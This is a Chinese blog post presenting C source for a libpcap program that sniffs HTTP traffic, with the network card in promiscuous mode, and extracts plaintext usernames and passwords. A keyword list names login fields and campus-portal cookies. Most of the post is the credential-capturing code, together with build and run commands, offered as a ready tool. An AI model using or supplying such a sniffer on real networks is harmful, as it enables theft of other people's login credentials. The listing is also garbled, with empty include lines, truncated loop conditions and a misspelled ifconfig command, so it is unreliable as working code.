作者:星宇ooo | 来源:互联网 | 2023-05-18 08:19
(原作于2017年4月19日,有删改)wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基
(原作于2017年4月19日,有删改)
wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基于libpcap的,在ubuntu中安装libpcap的命令如下:
sudo apt-get install libpcap-dev
编译密码嗅探程序的命令是:
gcc sniffpwd.c -o sniffpwd -lpcap
密码嗅探程序sniffpwd可以不带参数,有一个参数或两个参数。
当它不带参数时默认嗅探网卡eth0上的网络流量;
当有一个参数时,该参数为要嗅探数据的网卡名,如eth1、wlan0这样的;
当有两个参数时,第一个参数为网卡名,第二个参数为任意值,
有第二个参数存在,便指明嗅探程序工作模式为简明模式,
即只输出嗅探到的用户名、密码及目的IP、端口、URL等最基本信息,
而没有第二个参数存在,则会输出嗅探到的所有数据包的概要信息。
为了嗅探到更多网络流量,你可能需要开启自己网卡的混杂模式:
sudo fconfig eth0 promisc
程序很简单,源代码如下:
#include
#include
#include
#include
#include
#include
#include
#include
typedef struct {
u_char DestMac[6];
u_char SrcMac[6];
u_char Etype[2];
}ETHHEADER;
typedef struct ip_hdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short tatal_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
typedef struct tcp_hdr
{
unsigned short sport;
unsigned short dport;
unsigned int seq;
unsigned int ack;
unsigned char lenres;
unsigned char flag;
unsigned short win;
unsigned short sum;
unsigned short urp;
}TCPHEADER;
int flag = 0;
long number =0;
int isHTTP(char *datatcp, int len)
{
int i=0;
int min=200;
if(len<200){
min=len;
}
for(i=0;i if(datatcp[i]=='H' && i4
){
if(datatcp[i+
1]==
'T'&&datatcp[i+
2]==
'T'&&datatcp[i+
3]==
'P'&&datatcp[i+
4]==
'/'){
return 1;
}
}
}
return 0;
}
void printHTTPhead(
char *httphead,
int len)
{
int i;
for(i=
0;i
if(httphead[i]=='\r' && httphead[i+1]=='\n' && httphead[i+2]=='\r' && httphead[i+3]=='\n'){
httphead[i]='\0';
httphead[i+1]='\0';
break;
}
if( flag && httphead[i]=='\r' && httphead[i+1]=='\n'){
httphead[i]='\0';
httphead[i+1]='\0';
break;
}
}
if(httphead[0]==0x01&&httphead[1]==0x01&&httphead[2]==0x08&&httphead[3]==0x0a){
printf("%s", httphead+12);
}else{
printf("%s", httphead);
}
httphead[i]='\r';
httphead[i+1]='\n';
}
int findPasswd(char *data, int len){
int i=0, j=0, min=200;
int p=0;
int num=0;
char temp;
char * next;
char * start;
char * keyword[] = {
"username=",
"password=",
"passwd=",
"number=",
"user=",
"yOnghuming=",
"mima=",
"userid=",
"pwd",
"account=",
"TxtName",
"TxtPassword",
"EPORTAL_COOKIE_USERNAME=",
"EPORTAL_COOKIE_PASSWORD=",
};
int l=sizeof(keyword) / sizeof(keyword[0]);
for(i=0;i if(data[i]=='H' && i4){
if(data[i+1]=='T' && data[i+2]=='T' && data[i+3]=='P' && data[i+4]=='/'){
start = data+i;
break;
}
}
if(data[i]=='G' && i3){
if(data[i+1]=='E' && data[i+2]=='T'){
start = data+i;
break;
}
}
if(data[i]=='P' && i4){
if(data[i+1]=='O' && data[i+2]=='S' && data[i+3]=='T'){
start = data+i;
break;
}
}
}
for(i=0;i next = start;
p = 0;
while( next = strstr(next, keyword[i]) ){
j=0;
while(next[j]!='\n' && next[j]!='\r' && next[j]!='&' && next[j]!=';' && next[j]!=' '){
if(p>=len){
break;
}
j++;
p++;
}
temp = next[j];
next[j] = '\0';
if(num==0){
printf("**********口令嗅探结果***********");
}
printf("\n%s", next);
num++;
next[j] = temp;
next = next + j;
}
}
return num;
}
void pcap_handle(u_char* user,const struct pcap_pkthdr* header,const u_char* pkt_data)
{
int off,ret;
time_t timep;
char * datatcp;
char szSourceIP[MAX_ADDR_LEN*2], szDestIP[MAX_ADDR_LEN*2];
struct sockaddr_in saSource, saDest;
if(header->len<sizeof(ETHHEADER)) return;
IPHEADER *pIpheader=(IPHEADER*)(pkt_data+sizeof(ETHHEADER));
TCPHEADER *pTcpheader = (TCPHEADER*)(pkt_data + sizeof(ETHHEADER) + sizeof(IPHEADER));
if(pIpheader->proto!=6) return;
off = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(ETHHEADER);
datatcp = (unsigned char *)pkt_data + off;
if(isHTTP(datatcp, header->len-off)){
number ++;
ret = findPasswd(datatcp, header->len-off);
if(ret==0 && flag==0){
printf("**********口令嗅探结果***********");
printf("\n没有嗅探到任何口令");
}else if(ret>0 && !flag){
printf("\n共嗅探到%d个用户名或口令", ret);
}
if(ret==0 && flag) return;
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strcpy(szSourceIP, inet_ntoa(saSource.sin_addr));
saDest.sin_addr.s_addr = pIpheader->destIP;
strcpy(szDestIP, inet_ntoa(saDest.sin_addr));
if(!flag){
time (&timep);
printf("\n**********数据包信息***********");
printf("\n数据包编号: %ld", number);
printf("\n数据包长度: %d", header->len);
printf("\n捕获时间: %s", asctime(localtime(&timep)));
printf("**********IP协议头部***********");
printf("\n标示: %i", ntohs(pIpheader->ident));
printf("\n总长度: %i", ntohs(pIpheader->tatal_len));
printf("\n偏移量: %i", ntohs(pIpheader->frag_and_flags));
printf("\n生存时间: %d",pIpheader->ttl);
printf("\n服务类型: %d",pIpheader->tos);
printf("\n协议类型: %d",pIpheader->proto);
printf("\n检验和: %i", ntohs(pIpheader->checksum));
printf("\n源IP: %s", szSourceIP);
printf("\n目的IP: %s", szDestIP);
printf("\n**********TCP协议头部***********");
printf("\n源端口: %i", ntohs(pTcpheader->sport));
printf("\n目的端口: %i", ntohs(pTcpheader->dport));
printf("\n序列号: %i", ntohs(pTcpheader->seq));
printf("\n应答号: %i", ntohs(pTcpheader->ack));
printf("\n检验和: %i", ntohs(pTcpheader->sum));
printf("\n**********HTTP协议头部***********\n");
printHTTPhead(datatcp, header->len-off);
}
else{
printf("\n源IP: %s, 目的: %s:%i\t", szSourceIP, szDestIP, ntohs(pTcpheader->dport));
printHTTPhead(datatcp, header->len-off);
}
printf("\n\n");
}
}
int main(int argc, char** argv)
{
int id = 0;
char errpkt_data[1024];
char *dev="eth0";
bpf_u_int32 ipmask=0;
struct bpf_program fcode;
struct pcap_pkthdr packet;
if(argc==2){
dev = argv[1];
}
else if(argc==3){
dev = argv[1];
flag = 1;
}
pcap_t* device=pcap_open_live(dev, 65535, 1, 0, errpkt_data);
if(!device){
printf("%s\n", errpkt_data);
return 1;
}
if(pcap_compile(device, &fcode, "tcp", 0, ipmask)==-1){
printf("%s\n", pcap_geterr(device));
}
if(pcap_setfilter(device, &fcode)==-1){
printf("%s\n", pcap_geterr(device));
return 1;
}
pcap_loop(device, -1, pcap_handle, (u_char*)&id);
return 0;
}